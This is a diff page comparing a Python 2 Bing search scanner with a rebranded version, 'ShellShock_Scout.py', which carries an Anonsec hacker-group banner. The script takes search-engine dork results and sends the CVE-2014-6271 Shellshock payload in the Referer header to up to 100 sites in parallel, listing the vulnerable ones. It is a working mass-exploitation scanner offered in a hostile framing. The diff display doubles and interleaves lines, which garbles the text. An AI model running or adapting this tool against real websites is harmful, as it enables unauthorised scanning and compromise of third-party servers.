-94 Removals
+120 Additions
#!/usr/bin/env python#!/usr/bin/env python
# We are...
#This must be one of the first imports or else we get threading error on completion# _____ _________
# / _ \ ____ ____ ____ / _____/ ____ ____
# / /_\ \ / \ / _ \ / \ \_____ \_/ __ \_/ ___\
# / | \ | ( <_> ) | \/ \ ___/\ \___
# \____|__ /___| /\____/|___| /_______ /\___ >\___ >
# \/ \/ \/ \/ \/ \/
# //Laughing at your security since 2012*
# ================================================================================================
# Official Members: Mrlele - AnonSec666 - 3r3b0s - d3f4ult - 4prili666h05t - Hannaichi - ap3x h4x0r
# - Gh05tFr3ak - xCyb3r 3vil7 - Hassouna Khalil - spider64
# ================================================================================================
#
#
# We are Anonsec
# Beware of our Cyber-Mafia
# We do not Forgive
# We do not Forget
# Expect Us
#
print "###########################################################"
print "### ShellShock_Scout.py ###"
print "### Mass Bing ShellShock Dork Scanner ###"
print "### CVE-2014-6271 ###"
print "### *************************************************** ###"
print "### \!/Anonsec\!/ ###"
print "### Laughing at your security since 2012* ###"
print "### ###"
print "### _.-''|''-._ ###"
print "### .-' | `-. ###"
print "### .'\ | /`. ###"
print "### .' \ | / `. ###"
print "### \ \ | / / ###"
print "### `\ \ | / /' ###"
print "### `\ \ | / /' ###"
print "### `\ \ | / /' ###"
print "### _.-`\ \ | / /'-._ ###"
print "### ~~(8:> {_____`\\|//'______} ~~(8:> ###"
print "### `-' ###"
print "### twitter.com/_d3f4ult ###"
print "###########################################################"
from gevent import monkeyfrom gevent import monkey
monkey.patch_all()monkey.patch_all()
from gevent.pool import Poolfrom gevent.pool import Pool
from gevent import joinallfrom gevent import joinall
import urllibimport urllib
import urllib2import urllib2
import argparseimport argparse
import sysimport sys
import jsonimport json
import socketimport socket
socket.setdefaulttimeout(60)socket.setdefaulttimeout(60)
__author__ = 'Dan McInerney'
__site__ = 'danmcinerney.org'
__twitter__ = '@danhmcinerney'
VULN_FOUND = NoneVULN_FOUND = None
def parse_args():def parse_args():
''' Create the arguments '''#Create the arguments
parser = argparse.ArgumentParser() parser = argparse.ArgumentParser()
parser.add_argument("-s", "--search", help="Search terms") parser.add_argument("-s", "--search", help="Search terms")
parser.add_argument("-p", "--pages", default="1", help="Number of pages of results to fetch where there's 50 results per page; defaults to 1") parser.add_argument("-p", "--pages", default="1", help="Number of pages of results to fetch where there's 50 results per page; defaults to 1")
parser.add_argument("-k", "--key", help="Your Bing API key found at https://datamarket.azure.com/account") parser.add_argument("-k", "--key", help="Your Bing API key found at https://datamarket.azure.com/account")
return parser.parse_args() return parser.parse_args()
def bing_search(query, key, offset, **kwargs):def bing_search(query, key, offset, **kwargs):
''' Make the search '''#Make the search
username = '' username = ''
baseURL = 'https://api.datamarket.azure.com/Bing/Search/' baseURL = 'https://api.datamarket.azure.com/Bing/Search/'
query = urllib.quote(query) query = urllib.quote(query)
user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)' user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)'
credentials = (':%s' % key).encode('base64')[:-1] credentials = (':%s' % key).encode('base64')[:-1]
auth = 'Basic %s' % credentials auth = 'Basic %s' % credentials
url = baseURL+'Web?Query=%27'+query+'%27&$top=50&$format=json&$skip='+offset url = baseURL+'Web?Query=%27'+query+'%27&$top=50&$format=json&$skip='+offset
print '[*] Fetching '+url print '[*] Scanning -> '+url
password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, url, username, key) password_mgr.add_password(None, url, username, key)
handler = urllib2.HTTPBasicAuthHandler(password_mgr) handler = urllib2.HTTPBasicAuthHandler(password_mgr)
opener = urllib2.build_opener(handler) opener = urllib2.build_opener(handler)
urllib2.install_opener(opener) urllib2.install_opener(opener)
try: try:
readURL = urllib2.urlopen(url, timeout=60).read() readURL = urllib2.urlopen(url, timeout=60).read()
except Exception as e: except Exception as e:
sys.exit('[-] Failed to fetch bing results. Are you sure you have the right API key?\n Error: '+str(e)) sys.exit('[-] Failed to fetch bing results. Are you sure you have the right API key?\n Error: '+str(e))
return readURL return readURL
def action(result):def action(result):
''' Make the payloaded request and check the response's headers for the echo msg'''#Make the payloaded request and check the response's headers for the echo msg
global VULN_FOUND global VULN_FOUND
exploit = "() { :;}; echo 'Shellshock: Vulnerable'" exploit = "() { :;}; echo 'Shellshock: Vulnerable'"
ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0' ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0'
url = result['Url'] url = result['Url']
req = urllib2.Request(url)
req = urllib2.Request(url) req.add_header('User-Agent', ua)
req.add_header('User-Agent', ua) req.add_header('Referer', exploit)
req.add_header('Referer', exploit) try:
try: r = urllib2.urlopen(req, timeout=60)
r = urllib2.urlopen(req, timeout=60) except Exception as e:
except Exception as e: return
return resp_headers = r.info()
resp_headers = r.info() if 'shellshock' in r.info():
if 'shellshock' in r.info(): VULN_FOUND = True
VULN_FOUND = True print '[!] SHELLSHOCK VULNERABLE:', url
print '[!] SHELLSHOCK VULNERABLE:', url return
return
def result_concurrency(results):def result_concurrency(results):
''' Open all the greenlet threads '''#Open all the greenlet threads
in_parallel = 100 in_parallel = 100
pool = Pool(in_parallel) pool = Pool(in_parallel)
jobs = [pool.spawn(action, result) for result in results] jobs = [pool.spawn(action, result) for result in results]
return joinall(jobs) return joinall(jobs)
def main():def main():
args = parse_args() args = parse_args()
if not args.search: if not args.search:
sys.exit('[!] Specify a search term, eg, ./search-bing.py -s "search for this"') sys.exit('[!] Specify a search term, eg, ./shellshock_scout.py -s "dorks"')
if not args.key: if not args.key:
sys.exit('[!] Specify a Bing API key or get one here: https://datamarket.azure.com/dataset/bing/search') sys.exit('[!] Specify a Bing API key or get one here: https://datamarket.azure.com/dataset/bing/search')
key = args.key key = args.key
if len(key) not in (44, 43): if len(key) not in (44, 43):
sys.exit('[-] Incorrect key length') sys.exit('[-] Incorrect key length')
query = args.search query = args.search
pages = int(args.pages) pages = int(args.pages)
offset = 0 offset = 0
total_results = [] total_results = []
for x in xrange(pages): for x in xrange(pages):
# Start off with offset = 0 # Start off with offset = 0
if x != 0: if x != 0:
offset += 50 offset += 50
response = bing_search(query, key, str(offset)) response = bing_search(query, key, str(offset))
results = json.loads(response)['d']['results'] results = json.loads(response)['d']['results']
if len(results) == 0: if len(results) == 0:
print '[-] No more results found' print '[-] No more results found'
break break
total_results += results total_results += results
print '[*] Checking each search result...' print '[*] Checking each search result...'
result_concurrency(total_results) result_concurrency(total_results)
if not VULN_FOUND: if not VULN_FOUND:
print '[-] No vulnerable sites found' print '[-] No vulnerable sites found'
if __name__ == "__main__":if __name__ == "__main__":
main() main()
Editor
Original Text
Changed Text